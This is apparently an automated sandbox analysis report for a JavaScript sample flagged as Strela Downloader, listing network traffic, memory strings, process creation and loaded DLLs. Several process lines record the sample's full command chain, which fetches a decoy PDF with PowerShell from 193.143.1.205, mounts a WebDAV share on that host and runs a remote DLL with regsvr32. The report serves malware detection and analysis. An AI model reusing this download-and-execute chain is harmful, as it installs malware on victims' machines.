HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1377806244.000001FC8E87C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1452937383.0000013B4308B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1455092417.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1454193161.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/2
Source: net.exe, 00000007.00000002.1455092417.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1454193161.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/g
Source: net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.2661254021.0000020736000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1454726021.0000020735E10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7620, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 241198432146011036.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vbwuflgm.25n.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,3031728516818878968,16726174633043542866,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,3031728516818878968,16726174633043542866,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
